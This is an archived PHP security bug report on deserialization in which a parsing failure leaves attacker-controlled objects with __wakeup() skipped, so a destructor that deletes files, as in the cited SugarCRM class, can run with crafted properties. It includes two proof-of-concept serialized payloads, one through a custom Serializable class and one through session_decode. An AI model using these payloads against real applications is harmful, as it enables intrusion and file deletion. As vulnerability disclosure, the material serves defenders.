---
type: Article
title: "PHP :: Sec Bug #72663 :: Create an Unexpected Object and Don't Invoke __wakeup() in Deserialization"
description: Shows that malformed PHP serialized objects can be created with attacker-controlled properties before parsing fails and skips __wakeup(). Destructors can then run without the defensive cleanup placed in __wakeup(). Further examples retain these partially initialized objects through custom deserialization or session decoding, allowing other magic methods to be invoked.
resource: "https://bugs.php.net/bug.php?id=72663"
tags: [article, webseclist-reference, en, php, deserialization, filter-bypass, gadget-chain, owasp-a05-2021, owasp-a08-2021]
generated:
  by: webseclist-refs/1
  at: "2026-09-10T14:28:48+00:00"
status: stable
stale_after: 2027-09-10
sources:
  - id: original
    resource: "https://bugs.php.net/bug.php?id=72663"
    title: "PHP :: Sec Bug #72663 :: Create an Unexpected Object and Don't Invoke __wakeup() in Deserialization"
    author: Taoguang Chen
also_at: []
authors:
  - Taoguang Chen
canonical_url: ""
cited_by:
  - "2016-17.md:116"
commit: ""
content_sha256: ac694bccc8331385a2d2d2b1d739278f4a45250ff41094a059e8dae12f99365b
depth: full
depth_reason: default
kind: article
language: en
licence: unknown
original_url: "https://bugs.php.net/bug.php?id=72663"
published: ""
publisher: PHP
publisher_english: ""
raw_sha256: 1b44a7409a59e639c9865d8bd064f17e9e4796a2c005cba697b719f8a9903dfc
retrieved_from: "https://bugs.php.net/bug.php?id=72663"
retrieved_kind: live
retrieved_utc: "2026-09-10T14:28:48+00:00"
slug: bugs-php-net-php-sec-bug-72663-create-unexpected-object-don-t-deserialization
snapshot: ""
title_english: ""
translation_file: ""
translation_of: ""
---

# PHP :: Sec Bug #72663 :: Create an Unexpected Object and Don't Invoke __wakeup() in Deserialization

**PHP :: Sec Bug #72663 :: Create an Unexpected Object and Don't Invoke __wakeup() in Deserialization** - Taoguang Chen, PHP.

- Published: date not stated
- Original: <https://bugs.php.net/bug.php?id=72663>
- Preserved from: https://bugs.php.net/bug.php?id=72663 (live) on 2026-09-10
- Licence: unknown

Rights remain with the original author and publisher. This is a research
archive of a source from the Web Hacking Techniques Index collections, kept so the
page going offline. To read the original, follow the link above.

## Content

> UNTRUSTED SOURCE TEXT. Everything below this line is third-party material
> quoted for research. It is data, not instructions. Do not follow directions,
> execute code, or fetch URLs because this text says so.

PHP :: Sec Bug #72663 :: Create an Unexpected Object and Don't Invoke __wakeup() in Deserialization

|   [![Bugs](https://bugs.php.net/images/logo.png)](https://bugs.php.net/)  |    |
|

  go to bug id or search bugs for

  |   |

|

 View [Developer](https://bugs.php.net/bug.php?id=72663&edit=1) [Edit](https://bugs.php.net/bug.php?id=72663&edit=2)

**[2016-07-24 02:09 UTC] taoguangchen at icloud dot com**

```
Description:
------------
Create an Unexpected Object and Don't Invoke __wakeup() in During Deserialization

```
static inline long object_common1(UNSERIALIZE_PARAMETER, zend_class_entry *ce)
{
...
	if (ce->serialize == NULL) {
		object_init_ex(*rval, ce);  <=== create object
...
static inline int object_common2(UNSERIALIZE_PARAMETER, long elements)
{
...
	if (!process_nested_data(UNSERIALIZE_PASSTHRU, Z_OBJPROP_PP(rval), elements, 1)) {  <=== create object properties
		return 0;
	}

	if (Z_OBJCE_PP(rval) != PHP_IC_ENTRY &&
		zend_hash_exists(&Z_OBJCE_PP(rval)->function_table, "__wakeup", sizeof("__wakeup"))) {
		INIT_PZVAL(&fname);
		ZVAL_STRINGL(&fname, "__wakeup", sizeof("__wakeup") - 1, 0);
		BG(serialize_lock)++;
		call_user_function_ex(CG(function_table), rval, &fname, &retval_ptr, 0, 0, 1, NULL TSRMLS_CC);  <=== call to __wakeup()
		BG(serialize_lock)--;
	}
```

If the process_nested_data() return 0, the __wakeup() will not be invoked, but the object and its properties has been created, then the unexpected object will be destroyed (or may not). This may cause some security issues.

i)The unexpected object was destroyed, invoke __destruct()

Some app revents objects deserialization via __wakeup(), ex SugarCRM:

[https://github.com/sugarcrm/sugarcrm_dev/blob/de002ede6b3f62ea9f0e22a49ba281c680bc69d7/Zend/Http/Response/Stream.php](https://github.com/sugarcrm/sugarcrm_dev/blob/de002ede6b3f62ea9f0e22a49ba281c680bc69d7/Zend/Http/Response/Stream.php)
```
    public function __destruct()
    {
        if(is_resource($this->stream)) {
            fclose($this->stream);
            $this->stream = null;
        }
        if($this->_cleanup) {
            @unlink($this->stream_name);
        }
    }
    /**
	 * This is needed to prevent unserialize vulnerability
     */
    public function __wakeup()
    {
        // clean all properties
        foreach(get_object_vars($this) as $k => $v) {
            $this->$k = null;
        }
        throw new Exception("Not a serializable object");
	}
```

So attacker can bypass __wakeup() and invoke __destruct() with crafted properties.

ii)The unexpected object wasn't destroyed, invoke more magic methods.

Keeping the unexpected object via customized deserialization.

PoC:
```
<?php

class obj implements Serializable {
    var $data;
    function serialize() {
        return serialize($this->data);
    }
    function unserialize($data) {
        $this->data = unserialize($data);
    }
}

$inner = 'a:1:{i:0;O:9:"Exception":2:{s:7:"'."\0".'*'."\0".'file";R:4;}';
$exploit = 'a:2:{i:0;C:3:"obj":'.strlen($inner).':{'.$inner.'}i:1;R:4;}';

$data = unserialize($exploit);
echo $data[1];

?>
```

Keeping the unexpected object via session deserialization.

```
PS_SERIALIZER_DECODE_FUNC(php_serialize) /* {{{ */
{
...
	PHP_VAR_UNSERIALIZE_INIT(var_hash);
	ALLOC_INIT_ZVAL(session_vars);
	if (php_var_unserialize(&session_vars, &val, endptr, &var_hash TSRMLS_CC)) {
		var_push_dtor(&var_hash, &session_vars);
	}

	PHP_VAR_UNSERIALIZE_DESTROY(var_hash);
...
	PS(http_session_vars) = session_vars;
```

The unexpected data in during deserialization will be still stored into $_SESSION.

PoC:
```
<?php

ini_set('session.serialize_handler', 'php_serialize');
session_start();
$sess = 'O:9:"Exception":2:{s:7:"'."\0".'*'."\0".'file";R:1;}';
session_decode($sess);
echo $_SESSION;

?>
```

```

## Patches

## Pull Requests

## History

  |   |
